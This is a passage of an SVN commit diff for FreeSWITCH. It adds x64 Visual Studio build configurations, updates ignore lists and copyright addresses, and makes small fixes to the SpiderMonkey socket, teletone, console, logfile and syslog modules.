+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\winlibs.vsprops;..\..\..\..\w32\module_release.vsprops;..\..\..\..\w32\spidermonkey.vsprops"
@@ -142,6 +211,72 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\winlibs.vsprops;..\..\..\..\w32\module_release.vsprops;..\..\..\..\w32\spidermonkey.vsprops"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories=""
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/languages/mod_spidermonkey_socket/mod_spidermonkey_socket.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_spidermonkey_socket/mod_spidermonkey_socket.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_spidermonkey_socket/mod_spidermonkey_socket.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -37,6 +37,7 @@
 	char *read_buffer;
 	switch_size_t buffer_size;
 	int state;
+	jsrefcount saveDepth;
 };
 typedef struct js_socket_obj js_socket_obj_t;
 
@@ -72,10 +73,13 @@
 		return;
 
 	if (socket->socket != 0) {
+		socket->saveDepth = JS_SuspendRequest(cx);
 		switch_socket_shutdown(socket->socket, SWITCH_SHUTDOWN_READWRITE);
 		switch_socket_close(socket->socket);
 		switch_core_destroy_memory_pool(&socket->pool);
+		JS_ResumeRequest(cx, socket->saveDepth);
 	}
+
 }
 
 static JSBool socket_connect(JSContext * cx, JSObject * obj, uintN argc, jsval * argv, jsval * rval)
@@ -101,7 +105,9 @@
 		}
 
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Connecting to: %s:%d.\n", host, port);
+		socket->saveDepth = JS_SuspendRequest(cx);
 		ret = switch_socket_connect(socket->socket, addr);
+		JS_ResumeRequest(cx, socket->saveDepth);
 		if (ret != SWITCH_STATUS_SUCCESS) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "switch_socket_connect failed: %d.\n", ret);
 			*rval = BOOLEAN_TO_JSVAL(JS_FALSE);
@@ -122,9 +128,12 @@
 	}
 
 	if (argc == 1) {
+		switch_status_t ret;
 		char *buffer = JS_GetStringBytes(JS_ValueToString(cx, argv[0]));
 		switch_size_t len = strlen(buffer);
-		switch_status_t ret = switch_socket_send(socket->socket, buffer, &len);
+		socket->saveDepth = JS_SuspendRequest(cx);
+		ret = switch_socket_send(socket->socket, buffer, &len);
+		JS_ResumeRequest(cx, socket->saveDepth);
 		if (ret != SWITCH_STATUS_SUCCESS) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "switch_socket_send failed: %d.\n", ret);
 			*rval = BOOLEAN_TO_JSVAL(JS_FALSE);
@@ -156,7 +165,9 @@
 			socket->buffer_size = bytes_to_read + 1;
 		}
 
+		socket->saveDepth = JS_SuspendRequest(cx);
 		ret = switch_socket_recv(socket->socket, socket->read_buffer, &len);
+		JS_ResumeRequest(cx, socket->saveDepth);
 		if (ret != SWITCH_STATUS_SUCCESS) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "switch_socket_send failed: %d.\n", ret);
 			*rval = BOOLEAN_TO_JSVAL(JS_FALSE);
@@ -192,6 +203,7 @@
 		if (socket->read_buffer == 0)
 			socket->read_buffer = switch_core_alloc(socket->pool, socket->buffer_size);
 
+		socket->saveDepth = JS_SuspendRequest(cx);
 		while (can_run == TRUE) {
 			ret = switch_socket_recv(socket->socket, tempbuf, &len);
 			if (ret != SWITCH_STATUS_SUCCESS)
@@ -215,6 +227,8 @@
 				++total_length;
 			}
 		}
+		JS_ResumeRequest(cx, socket->saveDepth);
+
 		if (ret != SWITCH_STATUS_SUCCESS) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "socket receive failed: %d.\n", ret);
 			*rval = BOOLEAN_TO_JSVAL(JS_FALSE);
@@ -235,9 +249,11 @@
 		return JS_FALSE;
 	}
 
+	socket->saveDepth = JS_SuspendRequest(cx);
 	switch_socket_shutdown(socket->socket, SWITCH_SHUTDOWN_READWRITE);
 	switch_socket_close(socket->socket);
 	socket->socket = NULL;
+	JS_ResumeRequest(cx, socket->saveDepth);
 	return JS_TRUE;
 }
 
@@ -308,7 +324,7 @@
 	/*.next */ NULL
 };
 
-SWITCH_MOD_DECLARE(switch_status_t) spidermonkey_init(const sm_module_interface_t **module_interface)
+SWITCH_MOD_DECLARE_NONSTD(switch_status_t) spidermonkey_init(const sm_module_interface_t **module_interface)
 {
 	*module_interface = &socket_module_interface;
 	return SWITCH_STATUS_SUCCESS;

Property changes: freeswitch/branches/seven/src/mod/languages/mod_spidermonkey_teletone


Name: svn:ignore
   - Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
debug
   + Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/languages/mod_spidermonkey_teletone/mod_spidermonkey_teletone.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_spidermonkey_teletone/mod_spidermonkey_teletone.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_spidermonkey_teletone/mod_spidermonkey_teletone.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -81,6 +84,73 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\winlibs.vsprops;..\..\..\..\w32\module_debug.vsprops;..\..\..\..\w32\spidermonkey.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine=""
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\libteletone\src&quot;"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				AdditionalLibraryDirectories=""
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\winlibs.vsprops;..\..\..\..\w32\module_release.vsprops;..\..\..\..\w32\spidermonkey.vsprops"
@@ -147,6 +217,76 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\winlibs.vsprops;..\..\..\..\w32\module_release.vsprops;..\..\..\..\w32\spidermonkey.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine=""
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\libteletone\src&quot;"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				AdditionalLibraryDirectories=""
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				LinkTimeCodeGeneration="1"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/languages/mod_spidermonkey_teletone/mod_spidermonkey_teletone.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_spidermonkey_teletone/mod_spidermonkey_teletone.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_spidermonkey_teletone/mod_spidermonkey_teletone.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * mod_spidermonkey_teletone.c -- TeleTone Javascript Module
@@ -78,10 +78,12 @@
 	JSObject *session_obj;
 	struct teletone_obj *tto = NULL;
 	struct js_session *jss = NULL;
-	switch_codec_t *read_codec;
 	switch_memory_pool_t *pool;
 	char *timer_name = NULL;
+    switch_codec_implementation_t read_impl = {0};
 
+
+
 	if (argc > 0) {
 		if (JS_ValueToObject(cx, argv[0], &session_obj)) {
 			if (!(jss = JS_GetPrivate(cx, session_obj))) {
@@ -107,14 +109,14 @@
 		return JS_FALSE;
 	}
 
-	read_codec = switch_core_session_get_read_codec(jss->session);
+    switch_core_session_get_read_impl(jss->session, &read_impl);
 
 	if (switch_core_codec_init(&tto->codec,
 							   "L16",
 							   NULL,
-							   read_codec->implementation->actual_samples_per_second,
-							   read_codec->implementation->microseconds_per_packet / 1000,
-							   read_codec->implementation->number_of_channels,
+							   read_impl.actual_samples_per_second,
+							   read_impl.microseconds_per_packet / 1000,
+							   read_impl.number_of_channels,
 							   SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, pool) == SWITCH_STATUS_SUCCESS) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Raw Codec Activated\n");
 	} else {
@@ -123,12 +125,12 @@
 	}
 
 	if (timer_name) {
-		unsigned int ms = read_codec->implementation->microseconds_per_packet / 1000;
+		unsigned int ms = read_impl.microseconds_per_packet / 1000;
 		if (switch_core_timer_init(&tto->timer_base,
 								   timer_name,
 								   ms,
-								   (read_codec->implementation->samples_per_second / 50) *
-								   read_codec->implementation->number_of_channels, pool) == SWITCH_STATUS_SUCCESS) {
+								   (read_impl.samples_per_second / 50) *
+								   read_impl.number_of_channels, pool) == SWITCH_STATUS_SUCCESS) {
 			tto->timer = &tto->timer_base;
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Timer INIT Success %u\n", ms);
 		} else {
@@ -232,6 +234,7 @@
 		session = tto->session;
 		write_frame.codec = &tto->codec;
 		write_frame.data = fdata;
+		write_frame.buflen = sizeof(fdata);
 
 		channel = switch_core_session_get_channel(session);
 
@@ -344,7 +347,7 @@
 	/*.next */ NULL
 };
 
-SWITCH_MOD_DECLARE(switch_status_t) spidermonkey_init(const sm_module_interface_t **module_interface)
+SWITCH_MOD_DECLARE_NONSTD(switch_status_t) spidermonkey_init(const sm_module_interface_t **module_interface)
 {
 	*module_interface = &teletone_module_interface;
 	return SWITCH_STATUS_SUCCESS;

Modified: freeswitch/branches/seven/src/mod/languages/mod_yaml/mod_yaml.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_yaml/mod_yaml.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_yaml/mod_yaml.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
 
  *
  * mod_yaml.c -- YAML Module

Property changes: freeswitch/branches/seven/src/mod/loggers/mod_console


Name: svn:ignore
   - Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
Makefile
debug
   + Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
Makefile
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/loggers/mod_console/mod_console.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/loggers/mod_console/mod_console.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/loggers/mod_console/mod_console.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -78,6 +81,70 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -138,6 +205,70 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/loggers/mod_console/mod_console.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/loggers/mod_console/mod_console.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/loggers/mod_console/mod_console.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * mod_console.c -- Console Logger
@@ -155,6 +155,7 @@
 
 	fd = fileno(handle);
 	memset(&to, 0, sizeof(to));
+	FD_ZERO(&can_write);
 	FD_SET(fd, &can_write);
 	to.tv_sec = sec;
 	to.tv_usec = usec;
@@ -328,9 +329,10 @@
 	/* connect my internal structure to the blank pointer passed to me */
 	*module_interface = switch_loadable_module_create_module_interface(pool, modname);
 
-	SWITCH_ADD_API(api_interface, "console", "Console", console_api_function, "");
+	SWITCH_ADD_API(api_interface, "console", "Console", console_api_function, "loglevel [level]|colorize [on|off]");
+	switch_console_set_complete("add console loglevel");
+	switch_console_set_complete("add console colorize");
 
-
 	/* setup my logger function */
 	switch_log_bind_logger(switch_console_logger, SWITCH_LOG_DEBUG, SWITCH_TRUE);
 

Property changes: freeswitch/branches/seven/src/mod/loggers/mod_logfile


Name: svn:ignore
   - mod_logfile.so
.libs
Makefile
Debug
*.pdb
*.user
Release
debug
   + mod_logfile.so
.libs
Makefile
Debug
*.pdb
*.user
Release
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/loggers/mod_logfile/mod_logfile.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/loggers/mod_logfile/mod_logfile.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/loggers/mod_logfile/mod_logfile.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -78,6 +81,70 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -138,6 +205,70 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/loggers/mod_logfile/mod_logfile.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/loggers/mod_logfile/mod_logfile.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/loggers/mod_logfile/mod_logfile.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -16,7 +16,7 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
@@ -93,7 +93,7 @@
 	flags |= SWITCH_FOPEN_WRITE;
 	flags |= SWITCH_FOPEN_APPEND;
 
-	stat = switch_file_open(&afd, profile->logfile, flags, SWITCH_FPROT_UREAD | SWITCH_FPROT_UWRITE, module_pool);
+	stat = switch_file_open(&afd, profile->logfile, flags, SWITCH_FPROT_UREAD | SWITCH_FPROT_UWRITE | SWITCH_FPROT_WREAD, module_pool);
 	if (stat != SWITCH_STATUS_SUCCESS) {
 		return SWITCH_STATUS_FALSE;
 	}
@@ -124,7 +124,7 @@
 
 	switch_mutex_lock(globals.mutex);
 
-	switch_time_exp_lt(&tm, switch_timestamp_now());
+	switch_time_exp_lt(&tm, switch_micro_time_now());
 	switch_strftime_nocheck(date, &retsize, sizeof(date), "%Y-%m-%d-%H-%M-%S", &tm);
 
 	profile->log_size = 0;

Modified: freeswitch/branches/seven/src/mod/loggers/mod_syslog/mod_syslog.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/loggers/mod_syslog/mod_syslog.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/loggers/mod_syslog/mod_syslog.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, James Martelletti <james@nerdc0re.com>
+ * Copyright (C) 2005-2009, James Martelletti <james@nerdc0re.com>
  *
  * Version: MPL 1.1
  *
@@ -152,6 +152,8 @@
 {
 	switch_status_t status;
 	*module_interface = &console_module_interface;
+	
+	memset(&globals, 0, sizeof(globals));
 
 	if ((status = load_config()) != SWITCH_STATUS_SUCCESS) {
 		return status;
@@ -168,6 +170,10 @@
 SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_syslog_shutdown)
 {
 	closelog();
+
+	switch_safe_free(globals.ident);
+	switch_safe_free(globals.format);
+
 	switch_log_unbind_logger(mod_syslog_logger);
 
 	return SWITCH_STATUS_SUCCESS;

Property changes: freeswitch/branches/seven/src/mod/say/mod_say_de


Name: svn:ignore
   - mod_say_de.so
.libs
Makefile
Debug
*.pdb
*.user
Release
debug
   + mod_say_de.so
.libs
Makefile
Debug
*.pdb
*.user
Release
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/say/mod_say_de/mod_say_de.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/say/mod_say_de/mod_say_de.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/say/mod_say_de/mod_say_de.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -78,6 +81,70 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
